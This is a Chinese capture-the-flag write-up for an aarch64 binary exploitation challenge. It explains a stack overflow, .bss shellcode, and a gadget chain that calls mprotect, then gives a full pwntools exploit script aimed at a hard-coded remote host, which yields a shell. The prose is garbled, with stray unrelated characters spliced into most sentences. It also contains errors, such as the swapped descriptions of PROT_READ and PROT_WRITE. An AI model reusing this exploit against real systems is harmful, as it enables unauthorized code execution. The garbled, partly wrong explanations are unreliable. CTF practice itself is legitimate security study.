- 題目是道aarch64的pwn題氓皱,有關(guān)環(huán)境搭建之前的文章有講蜒车,然后開了NX,后面打遠程的時候發(fā)現(xiàn)也確實開了NX
- 程序主要就是兩個read函數(shù)寫闯袒,第一個往bss段寫虎敦,第二個往棧上寫,并且可以棧溢出政敢,這里一看就是rop但是我們沒有l(wèi)ibc其徙,然后發(fā)現(xiàn)程序有個mprotect函數(shù),所以利用思路可以是往bss寫shellcode然后利用棧溢出執(zhí)行mprotect讓bss段可以執(zhí)行喷户,然后再跳轉(zhuǎn)到我們的bss段執(zhí)行shellcode
include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
// 對存儲映射區(qū)保護要求 1唾那、PROT_READ 2、PROT_WRITE 3褪尝、PROT_EXEC 4闹获、PROT_NONE
mprotect()函數(shù)把自start開始的、長度為len的內(nèi)存區(qū)的保護屬性修改為prot指定的值河哑。
prot可以取以下幾個值避诽,并且可以用“|”將幾個屬性合起來使用:
1)PROT_READ:表示內(nèi)存段內(nèi)的內(nèi)容可寫;
2)PROT_WRITE:表示內(nèi)存段內(nèi)的內(nèi)容可讀璃谨;
3)PROT_EXEC:表示內(nèi)存段中的內(nèi)容可執(zhí)行沙庐;
4)PROT_NONE:表示內(nèi)存段中的內(nèi)容根本沒法訪問。
需要指出的是佳吞,指定的內(nèi)存區(qū)間必須包含整個內(nèi)存頁(4K)拱雏。區(qū)間開始的地址start必須是一個內(nèi)存頁的起始地址,并且區(qū)間長度len必須是頁大小的整數(shù)倍底扳。
- 這里的關(guān)鍵點是利用gadget執(zhí)行mprotect(0x411000, 0x1000, 5);古涧,這里程序有個像linux x86_64位下通用gadget的gadget
- 函數(shù)loc_4008CC可以讓我們控制x19,x20,x21,x22,x23,x24,x29,x30寄存器的值,然后通過loc_4008AC函數(shù)我們進而控制r0,r1,r2,x3從而達到call x3花盐,最后再ret到下一個函數(shù)
loc_4008AC
LDR X3, [X21,X19,LSL#3] #將X21寄存器指向的內(nèi)容給X3寄存器
MOV X2, X22 #將X22寄存器的值給X2寄存器
MOV X1, X23 #將X23寄存器的值給X1寄存器
MOV W0, W24 #將W24寄存器的值給W0寄存器
ADD X19, X19, #1 #X19寄存器的值+1
BLR X3 #執(zhí)行call X3
CMP X19, X20 #比較X19寄存器和X20寄存器的值羡滑,若不想等則跳轉(zhuǎn)到loc_4008AC
B.NE loc_400AC
loc_4008CC
LDP X19, X20, [SP,#0x10] #將SP+0x10,SP+0x18給X19,X20寄存器
LDP X21, X22, [SP,#0x20] #將SP+0x20,SP+0x28給X21,X22寄存器
LDP X23, X24, [SP,#0X30] #將SP+0x30,SP+0x38給X23,X24寄存器
LDP X29, X30, [SP+0],#0X40 #將SP,SP+8給X29,X30寄存器并抬高棧64字節(jié)
- 所以我們ret到loc_4008CC的時候可以布置棧如下菇爪,然后當(dāng)執(zhí)行完loc_4008CC函數(shù)時,就會ret到X30寄存器的值即loc_4008AC柒昏,當(dāng)執(zhí)行到BLR X3時相當(dāng)于執(zhí)行mprotect(0x411000, 0x1000, 5)凳宙,然后判斷X19和X20是否相等,因為我們提前布置好了所以會繼續(xù)往下執(zhí)行到ret返回到0x411068(我們的shellcode處)职祷,0x411168在我們第一次往bss段寫的時候已經(jīng)寫入了mprotect@plt的地址
$SP--> │+0x00: 0x0000000000000000 --> X29
│+0x08: 0x00000000004008ac --> X30
│+0x10: 0x0000000000000000 --> X19
│+0x18: 0x0000000000000001 --> X20
|+0x20: 0x0000000000411168 -> mprotect@plt --> X21
│+0x28: 0x0000000000000005 --> X22 --> X2
│+0x30: 0x0000000000001000 --> X23 --> Xx
│+0x38: 0x0000000000411000 --> X24 --> X0
│+0x40: 0x0000000000000000
│+0x48: 0x0000000000411068 --> next X30
│+0x50: 0x00000000deadbeef
│+0x58: 0x00000000deadbeef
│+0x60: 0x00000000deadbeef
│+0x68: 0x00000000deadbeef
│+0x70: 0x00000000deadbeef
│+0x78: 0x00000000deadbeef
- 第一次ret到通用gadget處
- 執(zhí)行完loc_4008CC準(zhǔn)備ret到loc_4008AC
- 進入loc_4008AC函數(shù)
- 執(zhí)行mprotect(0x411000, 0x1000, 5)
- 比較X19和X20的值氏涩,因為相等所以不跳轉(zhuǎn)往下繼續(xù)執(zhí)行
- 經(jīng)過4個ldp命令,然后ret有梆,注意此時X30寄存器的值是我們的shellcode地址是尖,所以我們即將執(zhí)行shellcode了
- 正在執(zhí)行shellcode,然后就能getshell了
- 這里用pwntools生成aarch64的shellcode可能會報錯泥耀,解決方案饺汹,因為我用的deepin所以直接sudo apt-get install binutils-aarch64-linux-gnu一條命令即可,這里因為我已經(jīng)裝了痰催,然后就可以使用shellcode = asm(shellcraft.aarch64.sh()) 快樂的使用shellcode了
exp:
from pwn import *
import sys
import time
context.binary = "./arm_pwn"
binary = './arm_pwn'
if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])
elf = ELF("./arm_pwn")
context.log_level = "debug"
buf = asm(shellcraft.aarch64.sh())
buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)
p.recvuntil('Name:')
p.send(buf.ljust(512,'\x00'))
payload = 'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411168) + p64(5)
payload += p64(0x1000) + p64(0x411000) + p64(0) + p64(0x411068) + p64(0xdeadbeef)*6
p.send(payload)
p.interactive()
- 成功打本地
- 成功打遠程
參考文章: